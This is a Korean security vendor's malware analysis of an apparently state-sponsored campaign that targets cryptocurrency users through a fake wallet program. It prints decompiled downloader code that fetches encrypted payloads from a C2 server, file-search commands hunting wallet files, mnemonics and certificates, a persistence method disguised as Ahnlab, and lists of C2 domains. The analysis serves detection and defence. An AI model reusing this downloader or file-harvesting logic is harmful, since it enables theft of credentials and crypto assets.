상세 컨텐츠

본문 제목

거대 위협으로 다가온, 특명 '자이언트 베이비(Operation Giant Baby)'

악성코드 분석 리포트

by 알약(Alyac) 2019. 3. 28. 12:40

본문

 

안녕하세요? 이스트시큐리티 시큐리티대응센터(이하 ESRC) 입니다.

 

지난 03월 15일 안랩의 ASEC 분석팀에서는 '코인 지갑 프로그램(알리바바)과 함께 설치되는 악성코드' (2019. 03. 15) 포스팅을 통해 상세한 분석자료를 발표한 바 있습니다.

 

최근에 이 유형의 위협 시리즈가 주로 한국에서 발견되고 있고, 변종 유포 정황 역시 꾸준히 포착되고 있어 각별한 주의가 필요해 보입니다.

 

물론, 공격 벡터에 일부 차이가 있지만, 해외 보안업체를 통해 연관된 내용이 보고된 바 있는데, Paloalto Networks Unit42 에서 'New BabyShark Malware Targets U.S. National Security Think Tanks' (2019. 02. 22) 분석 내용을 공개한 바 있습니다.

 

현재 한국내 공격 목표는 비트코인과 같은 일종의 암호화폐(외화벌이 수단)로, 코인 관련 개인정보를 교묘히 탈취해 금전적 고수익을 얻기 위한 조직적 해킹 수단으로 악용됩니다. 그리고 개인적 사이버 범죄 수준이 아닌 국가단위의 사이버 안보위협으로 분류해 아래와 같이 APT(지능형지속위협)공격에 대한 위협 인텔리전스 리서치가 유지되고 있습니다.

 

▶ 한국 대상 최신 APT 공격, 작전명 미스터리 베이비(Operation Mystery Baby) 주의! (2018. 11. 02)

▶ 2010년 해외 대상 APT 공격자, 오퍼레이션 베이비 코인(Operation Baby Coin)으로 한국 귀환 (2018. 04. 19)

 

ESRC는 이 공격의 배후에 '특정 정부의 후원을 받는 조직(state-sponsored actor)'이 존재하며, 과거 국제 외교˙통일˙안보 라인을 공격했던 인물이 가담한것으로 내다보고 있습니다.

 

기존의 '오퍼레이션 베이비 코인', '오퍼레이션 미스터리 베이비' 위협 사례를 소개하면서, 두 경우 모두 한국의 특정 보안 프로그램처럼 위장해 실체를 숨길려는 시도와 '베이비(baby)'라는 특정 키워드를 빈도수 높게 사용함에 주목했습니다.

 

저희는 일명 '베이비 캠페인'의 위협이 갈수록 거대해지고 있다는 점에 착안해 이번 공격 리포트를 '오퍼레이션 자이언트 베이비(Operation Giant Baby)'로 명명했고, 이들은 코바웨어(Covaware)라는 폴더에서 작전을 수행 중입니다.

 

공격자가 사용한 코바(Cova)라는 표기는 ''인 ''이러스(Coin Virus)의 이니셜을 변환해 표현한 것으로 추정됩니다.

 

■ 거침없는 '자이언트 베이비', 변신술로 무장

 

얼마전 안랩 ASEC 분석팀에서 공개했던 'ABBCcoin - 지갑' 파일로 위장한 공격 코드가 기존 명령제어(C2) 서버를 그대로 활용해 새로운 변종을 유포한 사실을 확인했습니다.

 

금번 변종 공격에서도 이전 코드와 큰 변화는 없으며, C2 서버 주소만 일부 변경됐고, 통신하는 방식과 공격자의 고유 속성(Attribution) 정보들은 일정 범위에서 크게 벗어나진 않았습니다.

 

흥미로운 점은 공격자가 한국의 특정 보안 프로그램 아이콘 리소스를 변경하지 않고 계속 도용해서 쓰고 있다는 점입니다.

 

[그림 1] 보안 프로그램처럼 위장한 악성파일 화면

 

악성 파일은 중복 실행을 방지하기 위해 뮤텍스(Mutex) 코드를 "_MY_BABY_" 값으로 설정하고, '%Appdata%\Roaming' 경로에서 'abbc.log' 파일을 확인합니다. 그리고 '123456789' 코드 존재 유무를 비교해 조건이 성립할 경우 메인 함수를 로딩하게 됩니다.

 

[그림 2] 뮤텍스 값과 실행 조건 데이터 비교화면

 

정상적으로 조건 분기가 성립되면, 한국의 특정 C2 서버로 통신을 시도하고, RC4 알고리즘으로 암호화된 추가 데이터를 다운로드합니다.

 

 sprintf(&Dest, "%s\\sys.log", &pszPath); 

  if ( URLDownloadToFileA(0, "[REDACTED]/store32.sys", &Dest, 0, 0) ) 

  { 

LABEL_30: 

    ReleaseMutex(File); 

    return 0; 

  } 

  Filename = 0; 

  memset(&v45, 0, 0x103u); 

  sprintf(&Filename, "%s\\ttmp.log", &pszPath); 

  v18 = fopen(&Dest, "rb"); 

  v19 = v18; 

  if ( v18 ) 

  { 

    v20 = fileno(v18); 

    v21 = filelength(v20); 

    v22 = operator new[](v21 + 1); 

    fread(v22, 1u, v21, v19); 

    fclose(v19); 

    v23 = operator new[](v21); 

    sub_401150(v21); 

    v9[66] = 1; 

    v9[65] = v23; 

    sub_401810(); 

    operator delete[](v23); 

    operator delete[](v22); 

    v5 = fopen; 

  } 

  for ( i = v5(&Filename, "rb"); !i; i = v5(&Filename, "rb") ) 

    Sleep(0x3E8u); 

  fclose(i); 

  DeleteFileA(&Dest); 

  sub_401A80(); 

  sprintf(&Dest, "%s\\svchost.log", &pszPath); 

  if ( URLDownloadToFileA(0, "[REDACTED]/sys32.msi", &Dest, 0, 0) )

 

C2 서버와 통신이 성공하면, 'store32.sys', 'sys32.msi' 파일을 다운로드 시도합니다.

 

- sys32.msi (MD5 : 68eb2acab42c69aefb8a4c266762c560)
- store32.sys (MD5 : 105a0a190a8b6ea9d719960be0438269)

 

각각의 파일은 RC4 암호화된 데이터를 가지고 있으며, 로컬에 각각 'sys.log', 'svchost.log' 등의 이름으로 만든 후 복호화해 메모리 맵핑 과정을 거치게 됩니다.

 

참고로 다운로드를 수행하는 숙주는 'Run' 레지스트리 경로에 마치 안랩 모듈로 위장하기 위해 'Ahnlab' 키로 자신을 등록합니다. 그러면 윈도우즈 운영체제가 재시작할 때마다 자동 실행되어, 공격자가 C2 서버에서 언제든지 변종을 유포할 수 있게 되며 잠재적인 위협요소도 작동하게 됩니다.

 

ESRC는 한국인터넷진흥원(KISA) 등에 변종 유포 내용을 공유하고, 신속히 조치될 수 있게 긴밀하게 협력하고 있습니다

 

[그림 3] Ahnlab 이름으로 레지스트리 등록하는 화면

 

■ 코바웨어(Covaware 2.0) 프로젝트와 전혁진의 연계 가능성

 

최근까지 유포 중인 변종 코드를 확보해 분석해 본 결과, 흥미로운 점들이 몇가지 확인됩니다.

 

한국시간(KST) 기준으로 2019년 03월 24일 새벽 02시 26분에 32비트 기반의 DLL 형태로 제작되었으며, 내부 익스포트 함수명이 'Covaware.dll' 이름으로 사용되었습니다.

 

또한, 내부에 '코바 2.0' 이라는 한글 표현식을 포함하고 있습니다.

 

- I:\Programs\코바\2.0\Covaware\Release\32.pdb

 

[그림 4] 코바 2.0 PDB 화면

 

설치된 추가 악성 파일들은 키보드 입력 내용이나 쿠키 정보, 클립보드, 웹 브라우저 계정정보 등을 수집해 또 다른 C2 서버로 탈취를 시도합니다.

 

특히, 각종 문서, 압축, 이미지 유형의 확장자 파일 목록과 암호화폐 관련 키워드를 포함하는데, 한글 표현과 함께 한국에서 주로 이용하는 프로그램 형식이 존재합니다.

 

"cmd.exe /c dir %s*.hwp %s*.pdf %s*.doc %s*.docx %s*.xls %s*.xlsx %s*.zip %s*.rar %s*.egg %s*.txt %s*.jpg %s*.png /s >> \%s\"

 

"cmd.exe /c dir %s*wallet.dat* %sUTC--* %s*mnemonic* %s*cryptocu* %s*코인* %s*지갑* %s*월렛* %s*개인* %s*이더* %s*비트* %s*비번* %s*NPKI* %s*니모닉* %s*백업* %s*시크릿* %s*프라이빗* %s*복구* %s*가상화* %s*암호화* %s*인증* %s*비밀* %s*오티* %s*거래소* /s >> \%s\"

 

[그림 5] 유출 대상 확장자 및 암호화폐 키워드 화면

 

공격조직이 사용한 기존의 명령제어(C2) 주소는 다음과 같습니다.

 

- test.everydayspecial[.]com/test1
- test.everydayspecial[.]com/test2
- honew.elimbiz[.]com/include/test2

 

이번에는 동일한 도메인이 사용되었지만, 일부 변경된 것을 알 수 있습니다.

 

- v3.everydayspecial[.]com/test1
- v3.everydayspecial[.]com/test2
- honew.elimbiz[.]com/include/test2

 

[그림 6] C2 서버 화면

 

'자이언트 베이비'에서 발견된 C2 통신 폼 데이터는 이전 '미스터리 베이비'와 동일합니다. 이와 관련된 상세한 비교 분석 자료는 기존 오퍼레이션 분석글을 참조해 주시기 바랍니다.

 

2019-03-28

["작전명 자이언트 베이비(Operation Giant Baby"] 
"Content-Type: multipart/form-data; boundary=--------1650502037\r\n"

 

2018-11-02
["작전명 미스터리 베이비(Operation Mystery Baby)"]
"Content-Type: multipart/form-data; boundary=--------1650502037\r\n"

 

2018-04-19

["작전명 베이비 코인(Operation Baby Coin)"] 
"Content-Type: multipart/form-data; boundary=---------------------------7dab371b0124\r\n" 

 

이른바 '베이비' 캠페인의 초기 버전의 익스포트 함수명은 'sysninit - exe.dll' 유형이 매우 널리 알려져 있습니다.

그리고 다음과 같은 PDB 경로가 보고된 바 있습니다.

 

- L:\Attack Programs\Backdoor 2.0(x86-x64)\sysninit - exe\Release\sysninit - exe.pdb
- N:\Attack Programs\Backdoor 2.1(x86-x64)\새 폴더\vcbxcbcb\Release\vcbxcbcb.pdb
- N:\Attack Programs\Backdoor 2.1(x86-x64)\sysninit - exe\Release\sysninit - exe.pdb

 

이 공격의 과거 히스토리를 추적하다보면, 2014년 8월 경에 '외교부' 관련 내용으로 수행된 스피어 피싱(Spear Phishing) 공격과 연결됩니다.

 

해당 공격에서는 다음과 같은 뮤텍스와 PDB 등이 발견되고, 인도의 이메일 서비스와 특정 웹 호스트를 C2서버로 활용합니다.

 

- __START_DLL_MARK__

- N:\Attack Programs\Backdoor 2.0(x86-x64)\sysninit - exe\Release\sysninit - exe.pdb

- mail.inda.com

- star.syj@india.com

- kch.bear@india.com

- un-org.yupage[.]com/test2/serverok.html

- accouut-gooogie[.]ciki.me

 

2014년 당시 공격 코드에서 해커가 사용한 인도메일 계정의 암호가 발견된 바 있는데, 'jhj135' 문자열이 사용되었습니다.

 

[그림 7] 공격자가 사용한 C2 서버와 계정 암호

 

그리고 해커가 해당 이메일에 처음 가입할 때 적용한 암호 분실시 사용하는 보안 질문 설정에 다음과 같이 자신은 북한 사람이라는 영문 문장(I am North Korean)을 질문으로 설정해 두었습니다.

 

이것을 거짓 표식(False Flag)으로 보기에는 여러 정황상 한계가 있어보이며, 가입시 설정된 보안 질문이 외부에 노출될 것이라 판단하지 못했던 것으로 분석됩니다.

 

[그림 8] 이메일 가입시 설정한 보안 질문

 

같은 해 2014년 09월에 또 다른 유사 악성 파일이 발견되고, C2 서버 등의 정보가 일부 변경됩니다.

 

- second-emergency.3space[.]info/remote

- direct-first.coxslot[.]com/test1/

- direct-first.coxslot[.]com/test2/

- rajue.migel@india.com

- laoshi.kang@gmail.com

 

[그림 9] C2 서버의 디렉토리 리스팅 화면

 

일부 인도 메일 서버와 구글 지메일에 중국식 이름의 아이디를 사용했습니다. 그리고 이곳에서도 암호코드가 발견이 되는데, 인도 메일 'rajue.migel@inda.com' 로그인 암호로 'wjsgurwls135' 알파벳+숫자 문자열을 사용합니다.

 

[그림 10] 인도 이메일 서버로 통신할 때 사용하는 계정과 암호

 

흥미롭게도 여기서 사용된 암호문자열은 한글로 완벽하게 변환이 되고 있습니다.

 

▶ wjsgurwls135 = 전혁진135 => Jeon Hyok Jin 135 = JHJ135

 

그리고 이전에 유사 변종에서 사용된 암호 'jhj135' 문자열 스타일도 전혁진의 영문식 이름의 이니셜과 정확히 일치한다는 것을 알 수 있습니다.

 

[그림 11] 암호 문자열의 한글 키보드 변환 

 

이처럼 정부차원의 명령을 받는 것으로 추정되는 공격자(state-sponsored actor)의 활동이 한국에서 매우 활발하게 진행되고 있다는 점을 알 수 있습니다.

이스트시큐리티 대응센터(ESRC)에서는 국가기반 위협그룹에 대한 체계적인 인텔리전스 연구와 추적을 통해, 유사한 보안위협으로 인한 피해가 최소화될 수 있도록 관련 모니터링을 강화하고 있습니다.

 

ESRC에서는 '쓰렛 인사이드(Threat Inside)' 서비스를 통해 보다 다양한 정보를 담은 위협 인텔리전스 리포트와 침해지표(IoC) 등을 별도 제공할 예정입니다.

 

관련글 더보기

댓글 영역